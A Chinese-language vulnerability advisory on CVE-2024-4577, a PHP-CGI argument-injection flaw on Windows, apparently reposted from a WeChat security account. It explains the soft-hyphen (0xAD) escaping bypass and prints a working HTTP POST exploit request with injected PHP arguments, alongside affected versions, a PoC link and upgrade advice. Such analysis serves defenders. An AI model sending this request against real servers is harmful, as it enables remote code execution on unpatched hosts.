该漏洞仅影响 PHP 的 CGI 模式。在此模式下, Web 服务器解析 HTTP 请求并将其传递给 PHP 脚本,然 后脚本对其进行一些处理。例如,查询字符串被解析并传递给命令行上的 PHP 解释器 - 例如,诸如 as 的 请求http://host/cgi.php?foo=bar可能会被执行为 php.exe cgi.php foo=bar 。
当然,这确实为命令注入提供了途径,这就是为什么在调用之前要仔细处理和清理输入 php.exe ( CVE- 2012-1823)。然而,似乎有一个开发人员没有考虑到的极端情况,这允许攻击者突破命令行并提供由 PHP 本身解释的参数。这个极端情况与 unicode 字符如何转换为 ASCII 有关。最好用一个例子来解释这 一点。
1.1 分析
以下是 php.exe 的两次调用, 一次是恶意的, 一次是良性的。
Figure 1-1
在十六进制编辑器中看一下,看看是否能给我们任何线索。
Figure 1-2
第一次调用使用了普通的破折号 (0x2D),而第二次调用似乎使用了完全不同的东西(显然是“软连字符”),代码为 0xAD (突出显示)。虽然它们对你我来说都是一样的,但对操作系统来说,它们的含义 却大不相同。
这里的一个重要细节是, Apache 会转义实际的连字符 0x2D,但不会转义第二个“软连字符”0xAD。
事实证明,作为 Unicode 处理的一部分, PHP 将应用所谓的“最佳匹配”映射,并假设当用户输入软连字 符时,他们实际上想要输入真正的连字符,并将其解释为真正的连字符。这就是我们的弱点所在 - 如果我们为 CGI 处理程序提供软连字符 (0xAD) ,CGI 处理程序将不会觉得有必要对其进行转义,而是会将其传 递给 PHP。然而, PHP 会将其解释为真正的连字符,这允许攻击者将以连字符开头的额外命令行参数偷 偷带入 PHP 进程。
1.2 验证
这与较早的 PHP 漏洞(在 CGI 模式下) CVE-2012-1823 非常相似,因此我们可以借用针对此较早漏洞开 发的一些利用技术,并对其进行调整以应对我们的新漏洞。 一篇有用的文章:https://pentesterlab.com/exercises/cve-2012-1823/course?ref=labs.watchtowr.com建议,要将我们的注入转化 为 RCE,我们应该注入以下参数:
-d allow_url_include=
1
-d auto_prepend_file=php:
Fence 1-1
这将接受来自 HTTP 请求主体的输入,并使用 PHP 进行处理。很简单 - 让我们尝试使用 0xAD“软连字符” 而不是通常的连字符的版本。也许这足以绕过转义?
POST
/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
HTTP/1.1
Host
: {{host}}
User-Agent
: curl/8.3.0
Accept
: */*
Content-Length
: 23
Content-Type
: application/x-www-form-urlencoded
Connection
: keep-alive
<?php
phpinfo();
?>
Fence 1-2
结果:
Figure 1-3
1.3 结论
运行受影响配置的用户,请尽快执行此操作,因为由于漏洞利用复杂性低,该漏洞很有可能被大规模利 用。
2. 影响版本
-
PHP Windows版 8.3.0 <= 影响版本 < 8.3.8
-
PHP Windows版 8.2.0 <= 影响版本 < 8.2.20
-
PHP Windows版 8.1.0 <= 影响版本 < 8.1.29
-
PHP Windows版 影响版本 == 8.0.x
-
PHP Windows版 影响版本 == 7.x
-
PHP Windows版 影响版本 == 5.x
-
XAMPP Windows版 8.2.0 <= 影响版本 <= 8.2.12
-
XAMPP Windows版 8.1.0 <= 影响版本 <= 8.1.25
-
XAMPP Windows版 影响版本 == 8.0.x
-
XAMPP Windows版影响版本 == 7.x
-
XAMPP Windows版影响版本 == 5.x
3. FOFA
Fence 3-1
4. POC
https://github.com/xcanwin/CVE-2024-4577-PHP-RCE
5. 漏洞修复
目前,官方已发布修复建议,建议受影响的用户尽快升级至安全版本。
下载地址:https:
Fence
原文始发于微信公众号(影域实验室):CVE-2024-4577
评论